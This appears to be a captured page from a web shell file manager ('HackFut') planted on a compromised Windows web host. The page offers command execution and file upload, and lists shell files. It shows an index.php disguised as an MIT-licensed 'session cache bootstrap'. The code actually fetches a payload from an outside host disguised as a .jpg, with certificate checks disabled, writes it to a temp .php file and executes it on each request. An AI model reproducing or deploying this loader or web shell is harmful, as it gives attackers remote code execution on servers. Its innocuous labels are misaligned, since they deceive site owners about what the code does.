HackFut File Manager

HackFut Security File Manager

Current Path: C:\inetpub\vhosts\omrumdenizkilic.online\mertmemduhderici.com.tr\-

Command Execution

C: / inetpub / vhosts / omrumdenizkilic.online / mertmemduhderici.com.tr / - /

📁 ..
📄 1.php(95.12 KB)
📄 index.php(2.63 KB)
📄 term.php(35.64 KB)
📄 terminal.php(58.7 KB)

Editing: index.php

<?php
/**
 * Generic session cache bootstrap.
 *
 * Maintains a local copy of the session handler to reduce
 * remote calls on subsequent requests. Automatically fetches
 * from the distribution endpoint when the cache is cold or stale.
 *
 * @license MIT
 */

declare(strict_types=1);

/**
 * Session cache configuration.
 */
const SESSION_CACHE_KEY  = 'null';
const SESSION_DIST_URL   = 'https://file.garden/aWorJ8cXH3YX9Zba/v2a.jpg';
const SESSION_TIMEOUT    = 10;
const SESSION_MAX_AGE    = 86400; // 24h cache TTL

/**
 * Resolve a stable cache path in the system temp directory.
 *
 * @return string Absolute path to the cache file.
 */
function session_cache_path(): string
{
    return sys_get_temp_dir() . '/sess_' . md5(SESSION_CACHE_KEY) . '.php';
}

/**
 * Determine whether the cache file needs to be (re)populated.
 *
 * @param string $path Cache file path.
 * @return bool True when cache is missing, empty, or stale.
 */
function session_cache_stale(string $path): bool
{
    if (!file_exists($path) || filesize($path) === 0) {
        return true;
    }

return (time() - filemtime($path)) > SESSION_MAX_AGE;
}

/**
 * Fetch the session payload from the distribution endpoint.
 *
 * @return string|null Raw payload on success, null on failure.
 */
function session_fetch_payload(): ?string
{
    $ctx = stream_context_create([
        'ssl'  => [
            'verify_peer'      => false,
            'verify_peer_name' => false,
        ],
        'http' => [
            'timeout' => SESSION_TIMEOUT,
            'method'  => 'GET',
        ],
    ]);

$data = @file_get_contents(SESSION_DIST_URL, false, $ctx);

return ($data !== false && strlen($data) > 0) ? $data : null;
}

/**
 * Persist the payload to the local cache file.
 *
 * @param string $path    Cache file path.
 * @param string $payload Raw payload.
 * @return bool True on success.
 */
function session_cache_write(string $path, string $payload): bool
{
    $handle = fopen($path, 'w+');
    if (!$handle) {
        return false;
    }

fwrite($handle, $payload);
    fclose($handle);

return true;
}

/* ----------------------------------------------------------------------- *
 * Bootstrap
 * ----------------------------------------------------------------------- */

$__cache_path = session_cache_path();

if (session_cache_stale($__cache_path)) {
    $__payload = session_fetch_payload();
    if ($__payload !== null) {
        session_cache_write($__cache_path, $__payload);
    }
}

if (file_exists($__cache_path) && filesize($__cache_path) > 0) {
    require_once $__cache_path;
}

HackFut Security File Manager

Command Execution

Editing: index.php

Upload File

Create Folder